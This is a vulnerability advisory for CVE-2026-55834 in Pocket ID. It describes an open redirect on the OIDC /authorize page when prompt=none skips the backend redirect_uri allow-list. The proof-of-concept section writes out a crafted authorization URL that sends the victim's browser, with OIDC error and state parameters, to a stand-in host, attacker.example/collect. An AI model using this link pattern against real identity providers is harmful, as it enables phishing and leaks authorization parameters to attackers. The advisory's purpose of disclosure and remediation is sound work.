CVE-2026-55834: Pocket ID: Open Redirect on the OIDC /authorize page via unvalidated redirect_uri with prompt=none
Summary The OIDC authorization page in the pocket-id frontend redirects the browser to an attacker-controlled URL without consulting the backend redirecturi allow-list when the request uses prompt=none. An attacker who knows a valid clientid can craft an /authorize link that sends a victim (or a victim's browser doing a silent re-auth) to any external https URL, enabling phishing and OAuth response smuggling. The backend allow-list validation that protects the normal authenticated flow is bypassed because this path is handled entirely client-side.
Details For an OIDC authorization request with prompt=none, the SvelteKit frontend short-circuits the flow before the backend ever validates the redirecturi against the client's registered callback list.
File: frontend/src/routes/authorize/+page.ts (line 14) parses the raw redirecturi query parameter from the incoming URL.
File: frontend/src/routes/authorize/+page.svelte - in onMount(), when the request carries prompt=none and the user cannot be silently authorized (for example the visitor is not logged in, so loginrequired must be returned), the page builds the callback URL from the raw redirecturi and performs:
window.location.href = ${callbackURL}?error=loginrequired...
The callbackURL is taken directly from the user-supplied redirecturi. The only filtering applied is a scheme check that blocks javascript: and data: URLs; any http: or https: origin passes through. The backend allow-list validator GetCallbackURLFromList (which the authenticated code path uses to confirm the redirecturi matches one of the client's registered callback URLs) is never invoked on this branch.
This means the per-client redirecturi allow-list, the central control that makes redirecturi safe in OAuth/OIDC, is not enforced for the prompt=none error-return path. A clientid is not a secret: client metadata is retrievable at /api/oidc/clients/:id/meta, and clientids appear in any integration's authorization links.
Confirmation that the bypass is purely frontend: an unauthenticated POST to the backend /api/oidc/authorize endpoint correctly returns 401 ({"error":"You are not signed in"}), so the backend never authorizes the request. The redirect nonetheless happens in the browser because +page.svelte issues window.location.href before/without a successful backend authorization.
A second variant exists for an authenticated victim: when prompt=none is combined with a first-time (not yet consented) authorization of a client, the same client-side path can be reached.
Contrast: the standard interactive flow (no prompt=none) posts to the backend, which validates redirecturi against the registered list before returning a callback. The defect is specific to the client-side prompt=none short-circuit.
PoC Prerequisites: a running pocket-id instance, a registered OIDC client whose clientid is known to the attacker (obtainable from /api/oidc/clients/:id/meta or any existing integration), and a victim whose browser opens the link (the victim need not be logged in for the loginrequired branch).
1. Attacker constructs an authorization URL pointing at the victim's pocket-id, supplying an external redirecturi and prompt=none:
https://idp.victim.example/authorize?clientid=<knownclientid>&redirecturi=https://attacker.example/collect&responsetype=code&scope=openid&prompt=none
2. Victim opens the link. The frontend authorize page loads, determines the silent auth cannot succeed (loginrequired), and executes:
window.location.href = "https://attacker.example/collect?error=loginrequired&state=..."
3. The browser is redirected to https://attacker.example/collect. Expected result on a fixed build: the page would refuse the redirect because redirecturi does not match the client's registered callback list and would render an error in place instead of navigating off-origin.
Validation level: code-level confirmation at commit fc42f62. This is a browser-side window.location.href redirect, so it is not reproducible with curl; the backend was confirmed to reject the unauthenticated request (401) while the frontend performs the navigation regardless. Evidence notes saved to screenshots/001openredirectevidence.txt.
Impact Unauthenticated attacker, victim interaction required (clicking or being silently redirected). The trusted pocket-id domain is used to bounce a victim to an arbitrary external site, which is effective for credential phishing (the user trusts the IdP origin in the initial link) and for leaking OIDC error/state parameters to an attacker endpoint. Integrity impact is limited to redirection; no confidentiality or availability loss of pocket-id itself. Note: an abandoned PR (#1450) addressed a related protocol-relative URL issue in a different email-redirect path but was not merged and does not cover this authorize-page path.
Other sources
Pocket ID is an OIDC provider that allows users to authenticate with their passkeys to services. From 2.6.0 until 2.9.0, frontend/src/routes/authorize/+page.ts reads the redirecturi query parameter and frontend/src/routes/authorize/+page.svelte uses the raw callbackURL in redirectWithError when prompt=none cannot complete silent authorization. The client-side path only blocks javascript and data schemes and does not invoke the backend callback allow-list validation, so an unauthenticated attacker who knows a valid clientid can redirect a victim browser to an arbitrary HTTP or HTTPS origin for phishing or OIDC error and state smuggling. This issue is fixed in version 2.9.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/pocket-id/pocket-id/backendto a version that resolves this vulnerability.Fixed in 2.9.0 - Upgrade
Upgrade
pocket-idto a version that resolves this vulnerability.Fixed in 2.9.0 - Configuration
In the authorize page on the prompt=none + login_required short-circuit path, do not construct the navigation target from the raw redirect_uri query parameter; ensure the redirect_uri is validated against the client's registered callback list (the same allow-list used by GetCallbackURLFromList), so the page renders an error instead of navigating off-origin.
frontend/src/routes/authorize/+page.svelte prompt=none redirect handling (silent-auth short-circuit) = Enforce backend-style redirect_uri allow-list validation instead of using raw redirect_uri
Event History
Frequently Asked Questions
What does an attacker need to exploit this issue?
An attacker needs to know a valid client_id and craft an OIDC /authorize request using prompt=none with an attacker-controlled HTTPS redirect_uri. No authentication or privileges are required, but the victim must be directed to the crafted URL or have a browser perform a silent re-authentication request.
Which authorization requests are affected?
The affected path is the frontend handling of OIDC authorization requests with prompt=none when the user cannot be silently authorized, such as when the visitor is not logged in. In that case, the frontend uses the raw redirect_uri and redirects before the backend can apply the registered callback allow-list.
Why does the normal redirect URI protection not prevent this?
The backend redirect_uri allow-list protects the normal authenticated flow, but this prompt=none path is handled entirely in the SvelteKit frontend. The frontend short-circuits the request and performs the redirect without consulting backend validation.
What can the redirect be used for?
The issue can send a browser to an arbitrary external HTTPS URL, enabling phishing. It can also support OAuth response smuggling because the callback URL is built from the attacker-controlled redirect_uri.